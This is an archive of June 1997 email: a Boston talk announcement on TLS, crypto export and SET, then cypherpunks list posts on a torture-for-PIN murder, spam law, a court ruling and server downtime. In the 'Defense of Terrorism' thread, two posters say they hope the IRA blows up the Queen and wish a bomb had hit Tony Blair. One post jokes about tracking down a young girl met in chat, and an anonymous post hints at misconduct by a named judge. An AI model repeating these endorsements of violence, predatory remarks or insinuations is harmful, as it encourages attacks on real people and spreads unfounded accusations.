Subject: DCSB: IETF-TLS, Exporting Financial Cryptography, and theProspects for SET
Message-ID: <v03020933afbf04eee4dc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



                The Digital Commerce Society of Boston

                              Presents

                             Win Treese
                          Open Market, Inc.

      "Security Standards, Policy, and Projects: A Personal View"



                        Tuesday, July 1, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


In this talk, Win will discuss three areas of recent work related
to security:

1. History, status, and future of the Transport Layer Security
    Working Group of the IETF. This working group has been
    moving SSL into an Internet Standard.
2. Experiences with gaining approval for exporting Internet
    commerce products with strong cryptography.
3. History, status, and future of the Secure Electronic Transactions
    protocol, from the point of view of a developer of Internet
    commerce products.

Win Treese is Director of Security at Open Market, which provides products
and services for Internet commerce. He has been with the company since it
began operation in 1994, working primarily on the security and payment
architecture across its product line. He also chairs the Transport Layer
Security Working Group of of the IETF. Prior to joining Open Market, he was
with the Cambridge Research Lab of Digital Equipment Corporation. He also
served as Chief Systems Engineer at MIT's Project Athena.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, July 1, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, June 28, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 8 Jun 1997 01:08:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <v03102800afbf439725f9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 AM -0700 6/7/97, Brian Lane wrote:

>  Yes, this is apparently how it happened. The robber tortured him for
>the PIN, used the card to get $800 from a machine and then returned to
>stab and shoot him. Apparently the murderer is one of his students (he
>was a teacher in NY I believe). This happened after Levin asked the
>class to write their biographies and revealed who his father was.

A good thing anonymity and pseudonymity are under attack!

Soon we'll be able to have true "stalker's pages," with links to home
addresss and zipcode data bases.

(And when I find some young nymphette in one of the chat groups, I'll be
able to click on her name and call up all the relevant information to allow
me to go visit her! We'll have a grand time...or at least I will.)


--Jack D. Ripper







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 7 Jun 1997 23:36:38 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Intermittent SSZ downtime
Message-ID: <199706071502.KAA11500@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

SSZ is going to be offline at least twice over the next 36 hours or so. It
should be down on longer than a couple of hours for some hardware upgrades
in preperation for a full software upgrade. There are two additional outages
planned next weekend.

Please plan accordingly, we apologize for any inconvenience.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Sat, 7 Jun 1997 22:13:35 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Steak Knife Decryption
Message-ID: <19970607140545968.AAA302@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 12:44 AM 6/7/97 -0500, you wrote:

>
>Maybe, if the robber can convince the victim that she (robber) is
>irrational and would hold on to her promise not to kill him, she could
>get the money. But how to do that?
>
>	- Igor.
>
>
Maybe she (robber) could turn turn him (robbee) loose for fifteen minutes,
to show good intentions?

--------------------------------------------
DLS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:13:27 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: <NVNX8D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:

> On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:
>
> >Mike Duvos wrote:
> >>
> >>
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >
> >This brings up a question. Did these robbers kill him right after
> >they found out the answer, or they first tried to withdraw money
> >to check if his number was right?
>
>   Yes, this is apparently how it happened. The robber tortured him for
> the PIN, used the card to get $800 from a machine and then returned to
> stab and shoot him. Apparently the murderer is one of his students (he
> was a teacher in NY I believe). This happened after Levin asked the
> class to write their biographies and revealed who his father was.

Off-topic rant follows:

Levin Sr is a petty asshole. I used to work for a guy who used to be
the president of Time Warner before. One of his retirement perks was
a WATS line. When what's-his-name suddenly died and Levin assumed
office was to turn off that WATS line.  This tells me something.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:15:39 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: <k1NX8D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:
> >This brings up a question on the strategy in this game.
>
>   I don't think there is any strategy in being robbed, only survuval.
> Levin commited a grave mistake. Revealing his background to his class
> was a very stupid move.

Becoming a high school teacher in NYC was a stupid move.  Someone I know
went to teach; 2 weeks into the semester one of his students punched him
in the nose causing extensive damage. This stopped making news long ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Mon, 9 Jun 1997 02:15:42 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:McVeigh
Message-ID: <199706081801.LAA28966@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> Bell's Murder Politics scheme was a censorship scheme.

Surely people would be more inclined to kill politicians 
for what they do, rather than what they say.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 7 Jun 1997 22:37:03 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <HDFw8D25w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970607112351.6280A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Tims post made a good point, people soon forget the causes of conflict
> > and only see the effects, today, hardly anyone in the UK sees the IRA as
> > an organisation devoted to liberating NI, merely a bunch of thugs. Of
> 
> Of course they forget the nearly thousand years of English thuggery
> in Ireland...

Indeed, the English in Ireland were, and are, immesurably worse than the 
IRA in terms of the scale of their crimes.

> > course they have brought this on themselves by indiscriminately blowing
> > things up. Talking of which the Queen is visiting Hastings (a town about
> > 5 miles from me) today, I hope the IRA blow her up...
> 
> That would be just lovely!
> 
> I'm sorry the IRS missed a chance to blow up the Blair motherfucker
> during his recent $400 dinner.

Indeed, during the Blair<->Clinton meeting/cocksucking session might  
have been a good time to drop a bomb on Downing St.

> Please send donations to Sinn Fein every time you see Hallam Baker post.

Of course.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 7 Jun 1997 22:56:58 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.GUL.3.95.970606173457.7265B-100000@Networking.Stanford.EDU>
Message-ID: <Pine.LNX.3.91.970607114207.6280B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> How many Irish nationalists do you know? The ones I know consider the
> IRA to be a bunch of thugs. Their attitude towards sympathizers in the
> US is similar to the attitude most Israelis have towards the kind of
> American wackos who killed Rabin. That's probably too nuanced for you,
> so to simplify: 

Thanks, I`ll simplify all my answers into words of 2 syllables or less 
for you in future.

> I think they're a bunch of thugs. They're just as
> thuggish towards "their own" as they are towards the Loyalists. Express
> a moderate or humanistic point of view in certain NI neighborhoods and
> the IRA thugs will make sure you're censored for good.

My point exactly, the IRA are criminal scum, as I have said. Of course 
they serve a purpose, but that really isn`t the point.

> AS Bill Frantz
> pithed a few weeks ago: the problem is not anarchy -- the problem is
> too many competing governments in one place. Thuggery isn't the answer
> to historical thuggery.

Thuggery in this vein is certainly not appropriate. I would have no 
problem whatsoever with the IRA if they concentrated entirely on killing 
poloticians, recall that not so many years ago they were less inclined to 
killing civilians (around the Brighton bomb and Airey Neave incident time).
Of course, the IRA have always been censorous thugs, they just happen to 
have taken also to killing innocent people in highly populated areas as well.
IMO, the IRA are terrorists, *not* freedom fighters. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 8 Jun 1997 03:26:32 +0800
To: cypherpunks@cyberpass.net
Subject: Another prosecution/ruling re Thomases/Amateur Action
Message-ID: <3.0.2.32.19970607122209.00774494@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




List members may be familiar with the prosecution of Robert Thomas, a Bay
Area man who runs (ran?) a BBS entitled "Amateur Action", which provided,
via modem and mail order, pornographic images to its customers. 

Robert Thomas was arrested in California, then prosecuted in and imprisoned
by a federal district court in Tennessee based on Tennessee community
standards for the material he made available from California; apparently
that prosecution centered on one or more pictures involving sex between
human(s) and animals. 

Subsequently, he was indicted by a federal grand jury in Utah for
distribution of child pornography; he moved to dismiss that second
prosecution on the grounds of double jeopardy and collateral estoppel. His
motion was denied, and he subsequently plead guilty to a single count and
was sentenced to 26 months' imprisonment. He appealed the denial of his
motions to dismiss, and was unsuccessful; the Tenth Circuit ruled that the
constitution's protection against double jeopardy and the doctrine of
collateral estoppel were not applicable because the two prosecutions
involved two different charges (obscenity in TN and child porn in UT) and
different findings of fact.

He also requested that his sentence be reduced to end at the time his
sentence ends in for the TN prosecution, but his request was denied and the
appeals court declined to modify the trial court's sentence. 

The text of the appellate court's ruling is at

<http://www.ljx.com/cgi-bin/f_cat?prod/ljextra/data/external/1997/06/9706024
.c10>, I
have mirrored it at <http://www.parrhesia.com/thomas.txt>. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 03:55:25 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <19970607124001.37225@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh <declan@pathfinder.com> writes:
[...]
> 
> Yes, the only honorable response to speech you don't like
> is to ignore it or to respond with more speech. 

Quite so.  The issue, then, is "what is speech".  I put a 190 db 
megaphone next to your head and scream into it, and your eardrums 
rupture and the blood flows, that's arguably not speech.

I would argue that in order for something to fall under the absolute 
protections free speech it has to meet certain characteristics -- it 
can't lead to direct bodily harm, or property damage, or any other 
kind of "damage" that is legally defined.

So the question of free speech is really, when you think about it, a 
question about what legally constitutes "damage".

In the internet context, then, activities that cause any reasonable 
definition of "damage" could be controlled, under the "non-aggression 
principle" if nothing else.

I think a reasonable definition of damage in an internet context is 
"excess interference with other transmission" (for some values of 
excess). 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 02:10:20 +0800
To: declan@well.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <199706071754.MAA01524@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Declan McCullagh wrote:
> 
> 
> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 

Declan,

There is a lot of commercial compelled speech. For example,
mutual funds must say that past performance is not a guarantee
of future results.

Do you find this kind of compelled speech unconstitutional?

igor

> 
> 
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > 
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> > 
> > 	- Igor.
> > 
> > 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 8 Jun 1997 01:05:56 +0800
To: cypherpunks@toad.com
Subject: Is Bill Clinton Obstructing Justice???
Message-ID: <199706071654.MAA27424@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




Is Bill Clinton Obstructing Justice in
              the Case of
            Charles Hayes?

          by J. Orlin Grabbe

1.   Did  President Bill  Clinton  meet
with  Kentucky District Judge  Jennifer
B.  Coffman at the Watergate  Hotel  on
May  21,  1997?   Has Coffman  suddenly
become    an   important   Presidential
advisor?  Was the meeting just  another
tête-à-tête similar to the one  Clinton
had  with Paula Jones?  Is Bill Clinton
obstructing justice?

2.   Is  Judge Coffman in the  meantime
sitting on, and attempting to ignore, a
slew  of  motions from Hayes'  attorney
Marvin   Miller?   Is   Judge   Coffman
herself guilty of judicial misconduct?

3.   Why  did  Assistant U.S.  Attorney
Patrick   Malloy  recently   asked   to
withdraw  from the Chuck  Hayes'  case?
Why  did Judge Coffman refuse to  allow
him to withdraw?

4.   Where has the alleged hit man  Don
Yarbrough  disappeared  to?   Does  his
disappearance have anything to do  with
falsified information given to the FBI?
Did  the  FBI previously say  they  had
verified this information?

5.   What  perjury  charges  have  been
filed   against   FBI   agent   Stephen
Brannan?

6.   What  perjury  charges  have  been
filed  against FBI agent David  Keller?
Was or was not David Keller transferred
to the Atlanta office of the FBI?

7.   Has  Lawrence Myers been impeached
as  a  witness because he was diagnosed
as having multiple personalities by the
U.S. Army?

8.   Are  there any remaining witnesses
against Charles Hayes?

9.   What  is the relationship  between
Judge   Jennifer  Coffman  and  Wendell
Ford?

10.    Was   Jennifer   Coffman   under
investigation       for       financial
improprieties  at  the  time  she   was
appointed judge?















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 8 Jun 1997 01:52:20 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Such a law would be unconstitutional, I believe, and unjust. It's
compelled speech: the government forcing you to say something.
Depending on how it's worded, it could also impact core political
speech, something the courts generally don't like.

-Declan


On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> 
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> 
> 	- Igor.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 8 Jun 1997 03:13:57 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status (fwd)
Message-ID: <199706071838.NAA00235@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Jun  7 13:38:49 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199706071838.NAA00222@einstein.ssz.com>
Subject: SSZ status
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 7 Jun 1997 13:38:47 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 962       


Hi,

The initial hardware upgrade went without a hitch. No additional downtime is
expected today. We will let the system run until tomorrow afternoon before
deciding on the need for further tweaking.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:38 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <v03102800afbf439725f9@[207.167.93.63]>
Message-ID: <RRwX8D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
>
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
>
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)

An employee of "firefly.net" (a very invasive marketing organization that
specializes in compiling huge databases of personal information about
Internet users) recently got upset at me and posted various personal
information about me to Usenet in an effort to harrass me.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <7uwX8D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
>
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

The following rant has nothing to do with crypto. If anyone wants to
talk about this (and I do hope Ross will will this of interest!), let's
move this someplace more appropriate, like f-k.

First, not all "unsolicited e-mail" is commercial.

Suppose a Jew4Jesus writes a short perl script that collects the e-mail
addresses of all the people who post to the Usenet newsgroup soc.culture.jewish
and various other Jewish-related forums, and e-mails them an unsolicited
e-mail that goes:

"Subject: Re: <original subject>

Beloved friend and fellow Jew,

I'm writing in response to your Usenet article <Message-Id> posted on
<date> in newsgroup(s) <blah>.  I believe that your soul will not be
saved unless you accept Y'hoshua the Moshiah as your friend and
personal savior blah blah Jesus is cumming and you better swallow!"

[I chose J4J as an example because they're probably the most censored and
persecuted group on the 'net today - more so than CoS or the Nazis :-)
It could be a political candidate sending his campaign ad to hundreds
of thousands of e-mail addresses - this has happened before. It could
be an environmental organization calling for a boycott of some product
or corporation]

Under the law Igor proposed (and I understand "anto-spam" bills to this
effect are floating around the various legislatures), this wouldn't need
to be labelled "ad".

"Voluntary" labelling can be made pretty much mandatory - like movie
ratings and now TV show ratings, and Social Security "contributions"
are "voluntary". You don't have to "voluntarily" label any article
critical of the Klinton Administration as "seditious spam", but you
can't find a backbone which doesn't require its ISPs to make it a
part of their TOS. But we're not quite there yet.

BTW, under Stanford Wallace's TOS, if the J4J neglected to run his mailing
list through Stanford's "scrub" database, removing the addresses that don't
want "bulk" e-mail, the poor J4J would probably be spanked hard.

(See WWW.IEMMC.ORG. I'm not sure if this is right either.)

Of course some people make a point of refusing to put their addresses
on the "scrub" list, and then bitching when they get bulk e-mail,
vecause they want all bulk e-mail to stop. Bulk e-mail professionals
have their own blacklist of people who bitch, and try not to e-mail
them even without their "remove" request. :-)

Then again, what constitutes "bulk"? Suppose the J4J sent a single unsolicited
prozelityzing e-mail to a single soc.culture.jewish poster, who goes
ballistic. Or suppose the J4J posted a prozelityzing article in
soc.culture.jewish, and someone sent him an e-mail in response, saying "Fuck
you, hazer, please refrain from sliming s.c.j with your xian propaganda".

"Harrassment" is a content-based judgment call, as is "commercial
advertisement". Would a more polite request to "stay away from our Jewish
newsgroup, please" be more kosher? Is it acceptable for a "politically
correct" homosexual to send hate e-mail to the posters on
alt.fan.rush-limbaugh with specific criticisms of their articles?

Yes, the only honorable response to speech you don't like
is to ignore it or to respond with more speech. Is it acceptable
to send an e-mail flame directly to a poster in a moderated newsgroup
if the flame has no chance of being approved by the moderator?
(No, because there aren't any moderated newsgroups anymore :-)

When an e-mail address is publicized (e.g. by posting to Usenet, or by
having it mentioned in a Web page), it will get "unsolicited" e-mail from
strangers - hopefully not "harrassing". A way out of it is to install
filters that separate "stranger" e-mail from the e-mail from known parties.

E.g., I might create a file that contained keywords that are of
interest to me - names of friends, words like "crypto" or "freedom knights".
Then I could have .procmailrc invoke grep, and if none of the keywords
matched, put the e-mail in a special folder that I'd check once a week
before emptying. (I could do the same with pure .procmailrc I suppose.)
Anyway, I'm not doing this yet, but I think this is our future.

By the way, today's address harvesters do much more than grep usenet
headers for addresses for indiscriminate bulk e-mail.

They not only go through Usenet articles and clean up the usual
"anti-spam" manglings in the headers and bodies.  They also crawl
through Web pages, collecting everything that looks like e-mail
addresses; they monitor IRC and collect e-mail addresses. They
monitor mailing lists to the point of asking the listserv/majordomo
for the list of lists it carries, then asking it for the list
of subscribers to each list.

Also instead of just building the biggest possible list of e-mail
addresses, they build a targeted database, keeping track where a
particular e-mail address was found. Suppose a person subscribes
to a "porsche owners" mailing list, and goes to an investment-
related channel on one of the IRC servers. In no time he'll be
getting "junk e-mail" related to the interests he expressed -
possibly even saying "I'm writing you because I saw you on the
#invest channel on Tuesday, and I want to tell you about this
hot new penny stock"

These programs, vastly more sophisticated than the bulk mail of
even a year ago, which just collected e-mail addresses from Usenet
and e-mail them all indiscriminately, will drive the latter out.
Why bother, when you can pay a very reasonable fee to a service
bureau that will deliver your ad to an audeince that a) doesn't
object to bulk e-mail, b) is bigger than what you would have
gathered with primitive grep-like tools.

Left to itself, the market will stabilize and the occasional unsolicited
bulk e-mail will be even less of a nuisance than it is now.

[One good use for UBE: suppose you've foolishly subscribed to an
ISP like IDT - the crooks that provide shitty service and make it
very hard to cancel - they just keep billing your credit card.
One sure way to terminate one's account is to use it to "spam"
Usenet or to send out a mass e-mail objecting to IDT's lousy
service and content censorship.]

Fuck the Usenet Cabal!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 7 Jun 1997 22:30:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <33996cfa.26096067@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:

>Mike Duvos wrote:
>> 
>> 
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>> 
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>
>This brings up a question. Did these robbers kill him right after
>they found out the answer, or they first tried to withdraw money
>to check if his number was right?

  Yes, this is apparently how it happened. The robber tortured him for
the PIN, used the card to get $800 from a machine and then returned to
stab and shoot him. Apparently the murderer is one of his students (he
was a teacher in NY I believe). This happened after Levin asked the
class to write their biographies and revealed who his father was.

>
>This brings up a question on the strategy in this game.

  I don't think there is any strategy in being robbed, only survuval.
Levin commited a grave mistake. Revealing his background to his class
was a very stupid move.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:00:45 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <8TZX8D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:
> There is a lot of commercial compelled speech. For example,
> mutual funds must say that past performance is not a guarantee
> of future results.
>
> Do you find this kind of compelled speech unconstitutional?

(Is Black Unicorn reading this?)

The purpose of the securities laws is not to protect the small investor
(who gets fucked very thoroughly, thank you :-) but the large financial
services firms with political connections.

For example the requirement to put out the red herring for a non-trivial
IPO is there not to protect the investors who buy in on the IPO, but to
ensure that the syndicate that underwrites the IPO gets their 2+%.

Ditto for the entire legal framework, including the U.S. Constitution and
any other country's legal framework - its goal is to protect the
(economic) interests of the ruling class, and whatever serves those
interests is "constitutional". Inasmuch as free speech on the Internet
threatens the murderous fascist dictatorship in Washington, DC, any
restrictions on free speech are therefore "constitutional".

You remind me, Igor, of a recent story I read in a paper which I already
threw away, so I'll reconstruct it from memory, probably with mistakes:

* a few folks from Long Island, not NASD registered,published an "investment
  advice" newsletter, distributed over the Internet and fax. Subscriptions
  cost >$1K/year. It was called something like "The Small-Cap Equity
  Speculator" (not exactly, my apologies, but "speculation" was definitely
  in the title)

* Among the many penny stocks they discussed was some kind of a motorcycle
  manufacturer, whose name I forgot too. The newsletter recommended a buy
  based on their fundamentals analysis and potential sales.

* Some of the folks who published the newsletter had a long position in
  the stock, which they apparently bought months before the recommendation
  for (gasp) $2,000 (two thousand dollars).

* The newsletter had a disclaimer that the authors may hold positions in
  the stocks they're discussing [surprise!]

* The motorcycle stock fell in price, and the readers who bet on it lost money
  - as did, I presume, the newsletter publishers.  Some readers complained to
